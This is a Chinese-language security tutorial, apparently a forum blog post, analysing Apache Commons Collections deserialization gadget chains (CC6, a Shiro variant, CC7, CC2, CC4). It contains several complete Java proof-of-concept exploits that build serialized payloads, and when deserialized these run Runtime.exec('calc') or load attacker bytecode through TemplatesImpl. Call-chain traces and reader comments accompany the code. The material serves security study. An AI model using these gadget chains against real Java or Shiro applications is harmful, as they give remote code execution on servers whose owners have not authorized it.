1.构造ChainedTransformer,因为在HashMap的put方法也调用了hash方法,我们将tiedMapEntry设置进去时要调用一次put方法。为了在序列化过程中不触发利用链,我们要先将ChainedTransformer设置成无害的Transformer数组。

cc6-9.png

2.构造LazyMap和TiedMapEntry

cc6-13.png

3.构造HashMap并将恶意的transformer设置进ChainedTransformer里面

cc6-14.png

完整POC

package test;


import clojure.lang.Obj;
import clojure.lang.Reflector;
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.python.antlr.ast.Str;
import org.python.antlr.op.In;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(new Transformer[]{new ConstantTransformer(0)});

        Map innermap = new HashMap();
        Map lazymap = LazyMap.decorate(innermap,ct);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"lsf");

        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"lsf");

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(ct,transformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

欸运行怎么不会执行系统命令,还记得我之前说的在put时会触发一次利用链,触发利用链时对我们的payload也产生了一些影响。调用时会走到LazyMap的put方法,先判断是否存在,如果不存在就调用他的transform方面这个是我们链的核心方法,之后又会将这个值put进map里,这时候我们的LazyMap中已经有了一个lsf的值在反序列化过程中走到这里时会判断是否存在,如果存在就直接跳过导致利用链没有触发,知道原理那么我们只要将这个值直接删掉即可。

cc6-19.png

cc6-16.png

利用链

java.io.ObjectInputStream.readObject()
            java.util.HashMap.readObject()
                java.util.HashMap.hash()
                   org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                   org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                           org.apache.commons.collections.functors.ChainedTransformer.transform()
                           org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

CommonsCollectionsShiro

在shiro应用中如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。我们发现之前的链都用到了Transformer[],在shiro反序列化中就无法利用,那有没有不使用transformer数组又可以执行利用链的方法呢。

在之前的利用链中,我们使用到了Transformer数组然后将Transformer数组传入ChainedTransformer中,当调用ChainedTransform#transform方法时会进行链式调用Transformer数组中的Transformer对象的transform方法。一般Transformer[]第一个是一个ConstantTransformer然后是InvokerTransformer。

回想到在我们的TemplatesImpl利用中,只使用到了2个Transformer,我们可以不可以简化一下这个利用链然他只使用InvokerTransformer执行呢。答案是肯定的。我们知道ConstantTransformer的作用是返回一个对象,如果可以直接将对象传InvokerTransformer中就不需要ConstantTransformer了。看回LazyMap#get方法,在调用factory.transform时传入一个我们传入的Object类型的变量。

cc6-18.png

那么现在我们只要小小改一下cc6即可完成利用链的构造。对比一下两个版本的cc6,我们在之前cc链中并不关心传入的key值,而key值正是我们CommonsCollectionsShiro关键部分,key值可以直接将对象传入Transformer而不需要ConstantTransformer在中间给我们传入。

cc6-21.png

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("toString",null,null);

        Map innermap = new HashMap();
        Map lazymap = LazyMap.decorate(innermap,invokerTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);

        lazymap.clear();
        setFieldValue(invokerTransformer,"iMethodName","newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

0x07 CommonsCollections7

CommonsCollections7是我讲的最后一条CommonsCollections3.1的利用链了,相信读者这时候已经对CommonsCollections3.1的利用链有了一些深刻的理解。CommonsCollections7也是换了一条链来执行lazyMap对我们来说也是非常熟悉了。

直接来看HashTable的readObject方法,从序列化流中循环读出所有的键值然后传入reconstitutionPut中。

cc7-1.png

在第一次进入reconstitutionPut时计算hash值并且根据hash计算存在tab中的位置(index值),让后判断这个位置是否已经存在值,若存在着进入if判断。在if中equals是我们这条链的关键,在之前会判断俩个的hash值是否相等,如果相等才会执行equals,因为&&符号遇到一个返回false就不会执行下面的这条语句了。

cc7-2.png

我们会将键设置成LazyMap,到这里比较值时会进入到LazyMap的equals方法,找到LazyMap会发现LazyMap中没有equlas方法,所以这里实际调用的LazyMap的父类AbstractMapDecorator的equals方法。看到AbstractMapDecorator调用了map的get方法,这里的map是被LazyMap修饰的map也就是我们经常用的HashMap。

cc7-3.png

而HashMap中也是没有重写equals的,看到HashMap的子类AbstractMap的equals。调用了一次m的get,而m就是我们在reconstitutionPut第二次传入的值。也就是我们的LazyMap。之后就是LazyMap#get的流程了,前面大部分都用到了LazyMap#get还有不懂的可以回头再看一遍,我就不分析了。

cc7-4.png

总结一下,就是我们的反序列化入口是HashTable,HashTable中传入两个键值对,key的hash相等会进入equals方法将第二个key(LazyMap)传入AbstractMap的equals方法最终调用第二个key(LazyMap)的get方法。

构造poc

1.构造chainedTransformer

cc7-5.png

2.构造两个LazyMap,也是和之前一样,LazyMap分别put yy和zZ两个LazyMap的hash恰好相等

cc7-6.png

在HashTable#put中也是和readObjet类似的操作为了防止利用链在本地触发,先将LazyMap的factory设置成无害的transformer。然后后面再通过反射设置回来。

cc7-7.png

3.最后就是将transformer设置回来,且在调用put之后会触发利用链向第二个LazyMap put了一个值,这样两个LazyMap的Hash就不相等了,我们需要将他put的值再去掉。

cc7-8.png

完整poc

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

/*
    Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

public class cc7 {
    public static void setField(Object obj, String fieldName, Object targetObject) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,targetObject);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        setField(templates, "_name", "HelloTemplatesImpl");
        setField(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, new ConstantTransformer(0));
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, new ConstantTransformer(0));
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        setField(lazyMap1,"factory",chainedTransformer);
        setField(lazyMap2,"factory",chainedTransformer);
        lazyMap2.remove("yy");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

0x08 CommonsCollections2

之前我跳过了cc2和cc4应该这两条和之前的不太一样,之前的环境是CommonsCollections3.1版本的利用链,commons-collections官方为了修复一些架构上的问题推出了commons-collections4。两者的包名不一样,可以在同一个项目上同时包含commons-collections和commons-collections4。ysoserial官方也推出了2条commons-collections4专属的利用链也就是cc2和cc4。先来分析一下cc2。

TransformingComparator

先来看一下TransformingComparator#compare,在compare方法看到调用了transformer成员变量的transform方法,这个大家也非常熟悉了。构造方法又调用了一次构造方法,将ComparatorUtils.NATURAL_COMPARATOR赋值给decorated。

cc7-9.png

cc7-10.png

演示一下通过TransformingComparator命令执行。

cc2-1.png

package test;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, NoSuchMethodException, TransformerConfigurationException {
        TemplatesImpl templates =new TemplatesImpl();
        SetFieldValue(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        SetFieldValue(templates, "_name", "HelloTemplatesImpl");
        SetFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);

        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
        transformingComparator.compare(templates,templates);
    }

    public static void SetFieldValue(Object obj,String methodName,Object targetObject) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(methodName);
        field.setAccessible(true);
        field.set(obj,targetObject);
    }

}

PriorityQueue

PriorityQueue是Java中的优先队列是Queue接口的实现,可以对其中元素进行排序。可以放用户自定义的类,对于自己定义的类来说,需要自己定义比较器。先来看一下PriorityQueue的构造方法。commparator可控,我们可以将TransformingComparator传入PriorityQueue中。

cc2-2.png

然后看到readObject方法,readObject调用了heapify,heapify调用了siftDown,然后siftDown调用了siftDownUsingComparator。siftDownUsingComparator中调用了成员变量comparator的compare方法。也就是我们TransformingComparator的compare,其中x是我们队列中第一个元素,c是第二个元素。

cc2-3.png

总结一下就是PriorityQueue的readObject方法经过一系列调用,调用到comprator的compare方法。这里将comprator设置成TransformingComparator就是调用了TransformingComparator的compare方法。TransformingComparator的compare调用了成员变量transformer的transform方法然后将传入的object传入transform中。

构造poc

1.构造TransformingComparator,在生成序列化字符串时一样会触发利用链,我们先将InvokerTransformer设置成执行toString方法。会在生成序列化字符串时调用一次利用链,如果是其他方法当这个对象没有这个方法时会报错。

cc2-4.png

2.构造priorityQueue

cc2-7.png

在add中一样会触发利用链,然后会调用第一个对象也就是1的toStirng方法

cc2-5.png

3.通过反射设置priorityQueue的queue和InvokerTransformer

cc2-6.png

完整poc

package test;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, NoSuchMethodException, TransformerConfigurationException, ClassNotFoundException {
        TemplatesImpl templates =new TemplatesImpl();
        SetFieldValue(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        SetFieldValue(templates, "_name", "HelloTemplatesImpl");
        SetFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("toString",null,null);

        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);

        SetFieldValue(invokerTransformer,"iMethodName","newTransformer");
        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        Object[] queues= (Object[]) field.get(priorityQueue);
        queues[0]=templates;
        queues[1]=1;

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void SetFieldValue(Object obj,String methodName,Object targetObject) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(methodName);
        field.setAccessible(true);
        field.set(obj,targetObject);
    }

}

调用链

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
            ...
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            templates.newTransformer()

0x09 CommonsCollections4

cc4像是cc2和cc3的组合,执行方法和cc2一样只不过Transformer换成了InstantiateTransformer。变成用TrAXFilter的构造方法调用templates的newTransformer方法。

因为和上面差不多我就直接开始演示利用InstantiateTransformer执行命令了,这个在cc3中也有,不会的读者可以回去再看一遍。

cc4-1.png

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

public class cc4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, NoSuchMethodException, TransformerConfigurationException, ClassNotFoundException {
        TemplatesImpl templates =new TemplatesImpl();
        SetFieldValue(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        SetFieldValue(templates, "_name", "HelloTemplatesImpl");
        SetFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }

    public static void SetFieldValue(Object obj,String methodName,Object targetObject) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(methodName);
        field.setAccessible(true);
        field.set(obj,targetObject);
    }

}

只要将cc2稍微修改即可我这里直接贴一张两个链的图,这个和真正ysoserial的有点不通我觉得这样写比较好理解,这个和cc2差不多讲起来就重复了,有兴趣的读者可以自己跟踪一下。

cc4-2.png

poc

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.jsoup.select.Evaluator;

public class cc4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, NoSuchMethodException, TransformerConfigurationException, ClassNotFoundException {
        TemplatesImpl templates =new TemplatesImpl();
        SetFieldValue(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        SetFieldValue(templates, "_name", "HelloTemplatesImpl");
        SetFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"asdasd"});

        TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
        priorityQueue.add(String.class);
        priorityQueue.add(String.class);

        SetFieldValue(instantiateTransformer,"iParamTypes",new Class[]{Templates.class});
        SetFieldValue(instantiateTransformer,"iArgs",new Object[]{templates});
        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        Object[] queues= (Object[]) field.get(priorityQueue);
        queues[0]=TrAXFilter.class;
        queues[1]=1;

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void SetFieldValue(Object obj,String methodName,Object targetObject) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(methodName);
        field.setAccessible(true);
        field.set(obj,targetObject);
    }

}

0x0a 总结

这些是ysoserial中的全部利用链了,但是在网上还有一些其他的利用链,不过都是大同小异感兴趣的读者可以自行分析。commons-collections之所以可以有这么多利用链是因为包含了可以执行任意方法transformer,在commons-collections中找Gadget的过程,实际上可以简化为,找一条从Serializable#readObject() 方法到Transformer#transform()方法的调用链。

0x0b 参考文章

代码审计知识星球-Java安全漫谈

CC链学习-中 - 先知社区 https://xz.aliyun.com/t/9874

0x0c 推荐阅读文章

代码审计知识星球-Java安全漫谈

JAVA安全基础(一)--类加载器(ClassLoader) - 先知社区 https://xz.aliyun.com/t/9002

JAVA安全基础(二)-- 反射机制 - 先知社区 https://xz.aliyun.com/t/9117

JAVA安全基础(三)-- java动态代理机制 - 先知社区 https://xz.aliyun.com/t/9197

JAVA安全基础(四)-- RMI机制 - 先知社区 https://xz.aliyun.com/t/9261

评论

123321123321 2021-11-24 11:04:36

学习了,很全!

starryloki 2021-11-24 13:34:02

能不能带带我

lsf

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

APT 文章:6 篇
Web安全 文章:248 篇
事件分析 文章:223 篇
企业安全 文章:40 篇
后门 文章:39 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录